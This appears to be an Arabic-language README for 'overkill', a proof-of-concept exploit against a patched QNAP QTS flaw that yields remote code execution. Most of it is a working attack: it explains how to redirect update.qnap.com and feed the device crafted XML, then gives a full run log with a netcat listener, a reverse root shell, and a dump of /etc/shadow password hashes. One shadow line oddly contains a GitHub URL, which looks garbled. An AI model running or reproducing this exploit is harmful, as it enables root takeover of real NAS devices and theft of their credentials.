
QNAP N-Day (غالباً ليست CVE-2020-2509)
Overkill هو استغلال لثغرة تم إصلاحها تؤثر على QNAP QTS. بسبب الطريقة التي تكشف بها QNAP عن الثغرات، لست متأكدًا مما إذا كان لهذه المشكلة CVE أم لا. ومع ذلك، فمن المحتمل أنه تم إصلاحها في نوفمبر 2020 وأبريل 2021. تم "اكتشاف" يوم-0 (n-day) أثناء تحليل الفروق لـ CVE-2020-2509. هذا بالتأكيد ليس CVE-2020-2509.
سيقوم الاستغلال بإرسال طلبات HTTP GET إلى /cgi-bin/qnapmsg.cgi?lang=xxx مما سيؤدي إلى قيام أجهزة QNAP غير المصححة بتنزيل ملف XML من update.qnap.com عبر HTTP غير آمن. يمكن للمهاجم الذي يمكنه إعادة توجيه update.qnap.com إلى نفسه أن يرد بملف XML يتحكم فيه المهاجم. عندما يقوم QNAP بتحليل ملف XML ، فإنه سيمرر بعض المحتويات إلى استدعاء system ، مما يؤدي إلى شل عكسي.
هذا الاستغلال لا يقوم بتنفيذ طريقة توجيه طلبات update.qnap.com إلى الاستغلال. في المثال أدناه، كنت أستخدم اختطاف DNS على جهاز التوجيه الخاص بي... قد تختلف النتائج حسب حالتك.
albinolobster@ubuntu:~/overkill$ sudo python3 overkill.py --rhost 10.12.70.251 --lhost 10.12.70.252
01001001001000000110001101100001011011100010011101110100001000000110011101100101
______ ___ ___ _______ _______ __ ___ __ ___ ___
/ " \|" \ /" |/" "| /" \ |/"| / ") |" \ |" | |" |
// ____ \\ \ // /(: ______)|: |(: |/ / || | || | || |
/ / ) :)\\ \/. ./ \/ | |_____/ )| __/ |: | |: | |: |
(: (____/ // \. // // ___)_ // / (// _ \ |. | \ |___ \ |___
\ / \\ / (: "||: __ \ |: | \ \ /\ |\( \_|: \( \_|: \
\"_____/ \__/ \_______)|__| \___)(__| \__)(__\_|_)\_______)\_______)
01110100001000000111010001101111001000000111001101101100011001010110010101110000
🦞 jbaines-r7
[+] Forking a netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Spinning up HTTP server
[!] Attempting http://10.12.70.251:8080/cgi-bin/qnapmsg.cgi?lang=eng
[+] Received an HTTP request from 10.12.70.251 on 27/Jul/2022 11:58:23
[*] Requested /loginad//qnapmsg_eng.xml
10.12.70.251 - - [27/Jul/2022 11:58:23] "GET /loginad//qnapmsg_eng.xml HTTP/1.1" 200 -
Connection received on 10.12.70.251 44630
bash-3.2# uname -a
uname -a
Linux NAS4A32F3 4.2.8 #1 SMP Sun Nov 8 01:50:48 CST 2020 aarch64 GNU/Linux
bash-3.2# id
id
uid=0(admin) gid=0(administrators)
bash-3.2# cat /etc/shadow
cat /etc/shadow
admin:!$1$5pFeLUat$D8jTQogWJy0HF3XjkD13q/:19181:0:99999:7:::
guest:$1$$ysap7EeB9ODCrO46Psdbq/:14233:0:99999:7:::
httpdusr:!:19181:0:99999:7:::
albinolobster:$1$cZCC65z5$NXtIBB4hgqzVG.PHyShKh1:19195:0:99999:7:::
[sshd]:https://raw.githubusercontent.com/jbaines-r7/overkill/HEAD/!:19181:0:99999:7:::
bash-3.2# exit